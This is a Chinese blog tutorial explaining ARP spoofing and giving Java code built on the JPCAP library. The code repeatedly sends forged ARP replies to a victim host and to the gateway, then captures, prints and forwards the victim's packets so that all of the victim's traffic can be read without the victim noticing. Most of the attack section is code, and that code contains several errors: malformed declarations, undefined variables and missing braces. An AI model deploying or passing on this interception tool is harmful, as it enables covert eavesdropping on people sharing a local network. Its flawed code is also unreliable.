`
小嘴冰凉
  • 浏览: 457046 次
  • 性别: Icon_minigender_1
  • 来自: 北京
社区版块
存档分类
最新评论

使用JPCAP实现监听

阅读更多
三.使用JPCAP实现监听
       1.监听原理
       在详细说用JPCAP实现网络监听实现前,先简单介绍下监听的原理。
       局域网监听利用的是所谓的“ARP欺骗”技术。在以前曾经一段阶段,局域网的布局是使用总线式(或集线式)结构,要到达监听只需要将网卡设定为混杂模式即可,但现在的局域网络普遍采用的是交换式网络,所以单纯靠混杂模式来达到监听的方法已经不可行了。所以为了达到监听的目的,我们需要“欺骗”路由器、“欺骗”交换机,即“ARP欺骗”技术。
       假设本机为A,监听目标为B。
首先,伪造一个ARP REPLY包,数据链路层头及ARP内容部分的源MAC地址填入A的MAC地址,而源IP部分填入网关IP,目的地址填入B的MAC、IP,然后将这个包发送给B,而B接收到这个伪造的ARP REPLY包后,由于源IP为网关IP,于是在它的ARP缓存表里刷新了一项,将(网关IP,网关MAC)刷新成(网关IP,A的MAC)。而B要访问外部的网都需要经过网关,这时候这些要经过网关的包就通通流到A的机器上来了。
接着,再伪造一个ARP REPLY包,数据链路层头及ARP内容部分的源MAC地址填入A的MAC地址,而源IP部分填入B的IP,目的地址填入网关MAC、IP,然后将这个包发给网关,网关接收到这个伪造的ARP REPLY包后,由于源IP为B的IP,于是在它的ARP缓存表里刷新了一项,将(B的IP,B的MAC)刷新成(B的IP,A的MAC)。这时候外部传给B的数据包经过网关时,就通通转发给A。
这样还只是拦截了B的数据包而已,B并不能上网——解决方法是将接收到的包,除了目的地址部分稍做修改,其它原封不动的再转发出去,这样就达到了监听的目的——在B不知不觉中浏览了B所有的对外数据包。

ARP数据包解析
单元:Byte
Ethernet头部 ARP数据部分
6 6 2 2 2 2 2 4 6 4 6
目标MAC地址 源地MAC地址 类型号0x0800:ip
0x0806:ARP 局域网类型
以太网0x0001 网络协议类型
IP网络0x0800 MAC/IP地址长度,恒为0x06/04 ARP包类型
REPLY
0x0002 ARP目标IP地址 ARP目标MAC 地址 ARP源IP地址 ARP源MAC地址


2.用JPCAP实现监听
       就如上面说的,为了实现监听,我们必须做四件事:
A.发送ARP包修改B的ARP缓存表;
B.发送ARP包修改路由ARP缓存表;
C.转发B发过来的数据包;
D.转发路由发过来的数据包;

下面我们给个小小的例子说明怎样实现。
我们假定运行这个程序的机器A只有一个网卡,只接一个网络,所在局域网为Ethernet,并且假定已经通过某种方式获得B和网关的MAC地址(例如ARP解析获得)。我们修改了B和网关的ARP表,并对他们的包进行了转发。
public class changeARP{
         private NetworkInterface[] devices;                           //设备列表
         private NetworkInterface device;                               //要使用的设备
         private JpcapCaptor jpcap;                                        //与设备的连接
         private JpcapSender sender;                                       //用于发送的实例
         private byte[] targetMAC, gateMAC;                       //B的MAC地址,网关的MAC地址
         private byte[] String targetIp, String gateIp;              //B的IP地址,网关的IP地址
         /**
         *初始化设备
         * JpcapCaptor.getDeviceList()得到设备可能会有两个,其中一个必定是“Generic
*dialup adapter”,这是windows系统的虚拟网卡,并非真正的硬件设备。
*注意:在这里有一个小小的BUG,如果JpcapCaptor.getDeviceList()之前有类似JFrame jf=new
*JFame()这类的语句会影响得到设备个数,只会得到真正的硬件设备,而不会出现虚拟网卡。
*虚拟网卡只有MAC地址而没有IP地址,而且如果出现虚拟网卡,那么实际网卡的MAC将分
*配给虚拟网卡,也就是说在程序中调用device. mac_address时得到的是00 00 00 00 00 00。
         */
         private NetworkInterface getDevice() throws IOException {
                  devices = JpcapCaptor.getDeviceList();                                                 //获得设备列表
                   device = devices[0];                                                                                //只有一个设备
                   jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000);             //打开与设备的连接
                   jpcap.setFilter(“ip”,true);                                                                       //只监听B的IP数据包
                   sender = captor.getJpcapSenderInstance();
         }
         /**
         *修改B和网关的ARP表。因为网关会定时发数据包刷新自己和B的缓存表,所以必须每隔一
         *段时间就发一次包重新更改B和网关的ARP表。
         *@参数 targetMAC           B的MAC地址,可通过ARP解析得到;
         *@参数 targetIp                 B的IP地址;
         *@参数 gateMAC              网关的MAC地址;
         *@参数 gateIp                     网关的IP;
         */
         public changeARP(byte[] targetMAC, String targetIp,byte[] gateMAC, String gateIp)
                            throws UnknownHostException,InterruptedException {
                   this. targetMAC =  targetMAC;
                   this. targetIp =  targetIp;
                   this. gateMAC = gateMAC;
                   this. gateIp = gateIp;
                   getDevice();
                   arpTarget = new ARPPacket();                                                     //修改B的ARP表的ARP包
                   arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER;          //选择以太网类型(Ethernet)
                   arpTarget.prototype = ARPPacket.PROTOTYPE_IP;                //选择IP网络协议类型
                   arpTarget.operation = ARPPacket.ARP_REPLY;                         //选择REPLY类型
                   arpTarget.hlen = 6;                                                                        //MAC地址长度固定6个字节
                   arpTarget.plen = 4;                                                                        //IP地址长度固定4个字节
                   arpTarget.sender_hardaddr = device.mac_address;                       //A的MAC地址
                   arpTarget.sender_protoaddr = InetAddress.getByName(gateIp).getAddress();       //网关IP
                   arpTarget.target_hardaddr = targetMAC;                                               //B的MAC地址
                   arpTarget.target_protoaddr = InetAddress.getByName(targetIp).getAddress();     //B的IP

                   EthernetPacket ethToTarget = new EthernetPacket();                  //创建一个以太网头
                   ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP; //选择以太包类型
                   ethToTarget.src_mac = device.mac_address;                                 //A的MAC地址
                   ethToTarget.dst_mac = targetMAC;                                             //B的MAC地址
                   arpTarget.datalink = ethToTarget;                                                 //将以太头添加到ARP包前

                   arpGate = new ARPPacket();                                                                 //修改网关ARP表的包
                   arpGate.hardtype = ARPPacket.HARDTYPE_ETHER;             //跟以上相似,不再重复注析
                   arpGate.prototype = ARPPacket.PROTOTYPE_IP;
                   arpGate.operation = ARPPacket.ARP_REPLY;
                   arpGate.hlen = 6;
                   arpGate.plen = 4;
                   arpGate.sender_hardaddr = device.mac_address;
                   arpGate.sender_protoaddr = InetAddress.getByName(targetIp).getAddress();
                   arpGate.target_hardaddr = gateMAC;
                   arpGate.target_protoaddr = InetAddress.getByName(gateIp).getAddress();

                   EthernetPacket ethToGate = new EthernetPacket();
                   ethToGate.frametype = EthernetPacket.ETHERTYPE_ARP;
                   ethToGate.src_mac = device.mac_address;
                   ethToGate.dst_mac = gateMAC;
                   arpGate.datalink = ethToGate;
                  
                   thread=new Thread(new Runnable(){                                 //创建一个进程控制发包速度
                            public void run() {
                                      while (true) {
                                               sender.sendPacket(arpTarget);
                                               sender.sendPacket(arpGate);
                                               Thread.sleep(500);
                   }).start();
                   recP();                                                                                   //接收数据包并转发
}
/**
*修改包的以太头,转发数据包
*参数 packet               收到的数据包
*参数 changeMAC     要转发出去的目标
*/
private void send(Packet packet, byte[] changeMAC) {                      
                   EthernetPacket eth;
                   if (packet.datalink instanceof EthernetPacket) {
                            eth = (EthernetPacket) packet.datalink;
                            for (int i = 0; i < 6; i++) {
                                     eth.dst_mac[i] = changeMAC[i];                      //修改包以太头,改变包的目标
                                     eth.src_mac[i] = device.mac_address[i];            //源发送者为A
                            }
                            sender.sendPacket(packet);
                   }
}
/**
*打印接受到的数据包并转发
*/
public void recP(){
         IPPacket ipPacket = null;
         while(true){
                  ipPacket = (IPPacket)jpcap.getPacket();
                            System.out.println(ipPacket);
                           if (ipPacket.src_ip.getHostAddress().equals(targetIp))
                                     send(packet, gateMAC);
                            else
                                     send(packet, targetMAC);
                   }
}

注意:这个例子只是为了说明问题,并没有考虑到程序的健壮性,所以并不一定能在任何一台机器任何一个系统上运行。
分享到:
评论

相关推荐

    jpcap实现网络实时流量图

    《使用jpcap实现网络实时流量图》 在IT领域,网络流量监控是至关重要的一个环节,它能够帮助我们理解网络活动,检测异常流量,优化网络性能,甚至防范网络安全威胁。jpcap作为Java平台上的一个强大库,提供了对网络...

    jpcap监听网络 收发数据包java

    【标题】"jpcap监听网络 收发数据包java" 涉及的主要知识点是Java编程中的网络数据包捕获和发送,其中jpcap库是一个关键工具。jpcap是一个开源的Java库,它提供了对网络接口的低级访问,能够用于捕获、过滤、发送和...

    JPCAP网络抓包

    - **数据包捕获**:JPCAP库提供了API,可以监听指定网络接口并捕获所有通过的数据包。 - **数据包过滤**:通过BPF(Berkeley Packet Filter)语法,用户可以设置过滤规则,只捕获满足条件的数据包。 - **数据包解析*...

    Java调用jpcap获取本机所有get请求

    下面我们将深入探讨如何使用Java和jpcap来实现这一功能。 首先,理解TCP/IP协议栈对于实现这个功能至关重要。TCP/IP协议栈包括网络接口层(如以太网)、网络层(IP)、传输层(TCP/UDP)以及应用层。在应用层,HTTP...

    jpcap.jar jpcap.dll

    本文将深入探讨使用Java进行网络通讯报文监听的关键技术——jpcap库,以及如何在Java环境中配置和使用它。 jpcap是一个强大的网络数据包捕获和分析库,专门用于Java环境。它允许开发者捕获、过滤、分析网络数据包,...

    64位jpcap.jar及对应jpcap.dll下载

    在这种情况下,jpcap.dll是jpcap库在Windows 64位系统下的本机组件,它实现了jpcap.jar中的Java代码与操作系统之间的通信。 jpcap库的核心功能包括: 1. **数据包捕获**:允许程序实时监听网络流量,捕获在网络...

    网络嗅探器,基于jpcap

    在本案例中,我们关注的是一个基于Java平台的网络嗅探器,它利用了名为jpcap的库来实现其功能。 **jpcap简介** jpcap是一个开源的Java库,专门设计用于处理网络接口卡(NIC)的数据包捕获。它提供了类似于libpcap...

    jpcap依赖包及代码

    标题 "jpcap依赖包及代码" 指的是一个集合,包含了与jpcap相关的所有必要组件,包括必要的jar包和动态链接库(DLL),以及可能的示例代码,帮助开发者理解并使用jpcap进行网络数据包捕获。jpcap是一个Java库,它为...

    jpcap配置文件.zip

    本篇文章将详细介绍jpcap配置文件的构成,以及其在x64环境下如何使用,同时也会提及图形界面工具JpcapDumper的使用方法。 首先,jpcap.jar是jpcap的核心库文件,它是用Java编写并编译成的字节码文件,包含了所有...

    jpcap.jar+Jpcap.dll

    `jpcap.jar`是Java类库,包含了Jpcap的所有接口和类,而`Jpcap.dll`则是与操作系统交互的动态链接库,它实现了底层的数据包捕获和发送功能。 1. **数据包捕获**: Jpcap提供了一套完整的API,可以访问网络接口并...

    64位的jpcap.dl、jpcap.jar

    1. **数据包捕获**:jpcap提供了一系列的接口和类,如`NetworkInterface`和`PacketReceiver`,用于获取网络接口信息并监听特定接口的数据包。开发者可以指定捕获的网络接口和过滤规则,实现定制化的数据包捕获。 2....

    jpcap java抓包必需jar包

    3. **协议开发与测试**:开发者可以使用jpcap来测试新开发的网络协议或者调试现有的协议实现。 4. **教育与研究**:在计算机网络教学和研究中,jpcap是一个强大的工具,让学生和研究人员能够深入理解网络通信过程。...

    Java jpcap抓包

    然后,使用`JpcapCaptor.loopPacket()`或`JpcapCaptor.packetLoop()`持续监听并处理每个捕获到的数据包。 5. **解析数据包**:jpcap库提供了`Packet`接口和一系列子类,如`IPPacket`, `TCPPacket`, `UDPPacket`等,...

    java源码:网络抓包工具 jpcap.zip

    jpcap库的实现基于libpcap,这是一个广泛使用的C语言实现的网络抓包库,因此jpcap可以跨平台运行,包括Windows、Linux、Mac OS X等操作系统。peazip-4.7.2.src可能是项目中包含的一个依赖库或示例代码,PeaZip是一款...

    基于Jpcap的IP数据包分析

    ### 基于Jpcap的IP数据包分析 #### 第一章:以太网的结构和TCP...综上所述,通过使用Jpcap,不仅可以实现对网络数据包的捕获和解析,还可以进一步进行高级的数据包分析和故障排除,这对于理解和维护网络环境至关重要。

    JAVA抓包工具jpcap,包含32位和64位

    Java抓包工具jpcap是Java平台上的网络数据包捕获库,它允许开发者在Java应用程序中实现网络监控和分析功能。jpcap提供了一套API接口,使得开发者能够轻松地处理网络数据包,包括捕获、过滤、解析以及网络协议分析等...

    计算机网络课程设计(JPCAP发包与抓包)

    安装完成后,我们可以使用Java编程语言来调用JPCAP的API,实现数据包的捕获和发送。 在发送TCP数据包方面,JPCAP提供了创建和填充TCP报头的方法。开发者需要指定源和目标IP地址、端口号、序列号、确认号等关键字段...

    基于jpcap的数据包抓取及网页恢复

    1. **打开网络接口**:使用`jpcap.JpcapCaptor.openDevice()`方法,传入设备名称(如“eth0”),设置相应的参数(如缓冲区大小,是否监听混杂模式等),获取`JpcapCaptor`实例。 2. **设置过滤器**:如果需要过滤...

    java arp jpcap

    1. **数据包捕获**:使用jpcap,开发者可以监听网络接口,实时捕获经过该接口的所有数据包。这些数据包包含了各种网络协议的信息,包括ARP请求和响应。 2. **ARP流量分析**:通过解析捕获到的ARP数据包,开发者可以...

Global site tag (gtag.js) - Google Analytics